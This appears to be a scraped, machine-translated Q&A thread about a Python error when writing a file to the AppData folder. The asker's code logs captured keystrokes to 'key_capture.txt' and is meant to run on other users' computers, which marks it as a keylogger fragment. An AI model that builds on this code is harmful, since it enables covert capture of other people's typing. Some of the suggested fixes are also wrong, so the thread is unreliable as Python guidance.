Python 如何在%APPDATA%文件夹中写入文件

Python 如何在%APPDATA%文件夹中写入文件,python,python-3.x,path,Python,Python 3.x,Path,我试图在%appdata%中写入文件,但运行代码时出现以下错误: with open(os.path.join(key_dir+ "\\key_capture.txt")) as f: FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\George Mauricio\\AppData\\Local\\key_capture.txt' 以下是我使用的代码: from os import path #

我试图在%appdata%中写入文件,但运行代码时出现以下错误:

    with open(os.path.join(key_dir+ "\\key_capture.txt")) as f:
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\George Mauricio\\AppData\\Local\\key_capture.txt'
以下是我使用的代码:


from os import path

#there are some in between

def write_file(keys):
    with open(os.path.join(key_dir+ "\\key_capture.txt")) as f:
        for key in keys:
            k = str(key).replace("'","")
            Key.space
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)
1) 。您以错误的方式打开文件。
2). 下面给出了正确的方法

with open(os.path.join(key_dir,  "key_capture.txt")) as f:

只需在“a”模式下打开它。如果文件不存在,则创建该文件

使用带有open(os.path.join(key\u dir+“\\key\u capture.txt”,“a”)的
作为f:

我没有将
打开(os.path.join(key\u dir+“\\key\u capture.txt”))改为f:

我尝试了这两个建议,但仍然收到错误FileNotFoundError:[Errno 2]没有这样的文件或目录:“C:\\Users\\George Mauricio\\AppData\\Local\\key\u capture.txt\\a”请尝试分配路径,如C:/Users/George Mauricio/AppData/Local/key\u capture.txt我知道这会解决我的问题,但我想用用户的用户名替换我自己的用户名。因此,该代码将在其他计算机上运行。您尝试过使用它吗?key_dir+“/”+“key_capture.txt”